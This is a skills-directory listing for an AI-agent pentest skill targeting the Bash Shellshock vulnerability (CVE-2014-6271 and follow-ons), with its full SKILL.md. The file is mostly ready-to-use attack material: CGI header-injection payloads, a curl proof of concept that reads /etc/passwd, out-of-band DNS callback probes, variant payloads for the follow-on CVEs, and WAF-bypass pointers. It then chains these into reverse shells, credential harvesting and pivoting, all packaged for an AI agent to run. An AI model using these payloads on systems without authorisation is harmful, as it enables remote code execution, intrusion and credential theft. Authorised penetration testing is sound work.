Skip to content
Back to skills

Shellshock

CSecurity

Shellshock (CVE-2014-6271 and the follow-on 6277/6278/7169/7186/7187) Bash function-definition parsing RCE via CGI and other env-var vectors — HTTP headers, CGI scripts, DHCP, OpenSSH ForceCommand. Tier 1 (RCE honors the authorization gate). Use on CGI endpoints or when framework-rce routes here.

  • 16 stars
  • 0 votes
  • 0 copies
  • 5 views
  • Added November 17, 2026
securityphpshellbashbackend

Works with

  • cli
  • mcp

Security analysis

C63/100
  • criticalAccesses sensitive system or user directories
  • criticalSends environment variables or credentials to an external URL

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill shellshock --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Shellshock?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Shellshock
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-shellshock/badge)](https://www.skillsdirectory.com/skills/anandjogawade-shellshock)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: shellshock
description: Shellshock (CVE-2014-6271 and the follow-on 6277/6278/7169/7186/7187) Bash function-definition parsing RCE via CGI and other env-var vectors — HTTP headers, CGI scripts, DHCP, OpenSSH ForceCommand. Tier 1 (RCE honors the authorization gate). Use on CGI endpoints or when framework-rce routes here.
---

# Shellshock (CVE-2014-6271)

Vulnerable Bash evaluates trailing commands after a function definition placed in an environment variable. CGI maps HTTP headers into env vars, so a crafted header runs commands as the web user.

## Trigger phrases
`shellshock, cve-2014-6271, bash rce, cgi rce, () { :; };, env var injection, cgi-bin`

## Preconditions
Bash before the 2014 patches (and the incomplete-fix follow-ons through CVE-2014-6278). A sink that passes attacker input into a Bash env var: CGI (`/cgi-bin/*`, `.sh`, `.cgi`, `.pl` calling system()), some mod_cgi/PHP-CGI setups, DHCP clients, OpenSSH `ForceCommand`/`AcceptEnv`, Qmail.

## Method
1. **Find CGI sinks:** `ffuf -w cgi-wordlist -u URL/cgi-bin/FUZZ`, `nmap --script http-shellshock -p80,443 host`, look for `/cgi-bin/`, `.cgi`, `.sh`, printer/router/appliance management CGIs.
2. **OAST-safe detection** — inject the classic probe into headers that become env vars (`User-Agent`, `Referer`, `Cookie`, custom), command out-of-band:
   ```
   User-Agent: () { :; }; /bin/bash -c "nslookup <id>.OAST"
   ```
   A callback = confirmed. Also time-based: `() { :; }; /bin/sleep 7`.
3. **Classic in-band PoC:**
   ```
   curl -H 'User-Agent: () { :; }; echo; echo; /bin/cat /etc/passwd' http://host/cgi-bin/x.sh
   ```
   Leading `echo; echo;` separates headers from command output in the response body.
4. **Variant payloads** (follow-on CVEs): `() { _; } >_[$($())] { id; }` (CVE-2014-6278), parser crashes (6277), `env X='() { (a)=>\' bash -c "id"` (6271 local test).

## Modern / rare techniques
- **Non-HTTP vectors:** DHCP responses (hostname/option), OpenSSH restricted shells (`AcceptEnv`), CUPS/printer and embedded-device CGIs that still ship old Bash — a frequent find on legacy/IoT.
- Multiple header vectors: spray every header per `${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md`; some apps only log/forward specific ones into the CGI env.

## Bypass / evasion
Vary the header used; OAST when output is suppressed; encode command; `${CLAUDE_PLUGIN_ROOT}/payloads/command-exec.md` for separators/no-space tricks once code exec is reached. `${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md`.

## Escalation / chaining
RCE as web user → reverse shell → `linux-privesc`; harvest creds/config; pivot `network-pentest`.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP). `nmap http-shellshock`, Metasploit `apache_mod_cgi_bash_env_exec`, interactsh for OAST, Burp Repeater. See `zazy-orchestrator`.

## Verification (background, before reporting)
Confirm with an OAST callback or deterministic time delay from a second vantage; reproduce output. For blind cases use OAST before concluding negative. Report true positives only.

## Evidence
The vulnerable CGI path, the injected header + payload, OAST callback or command output (e.g. `id`/first line of passwd), Bash version if obtainable. Remediation: patch Bash, retire CGI where possible, run CGI as least-priv, WAF-filter `() {` in headers.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.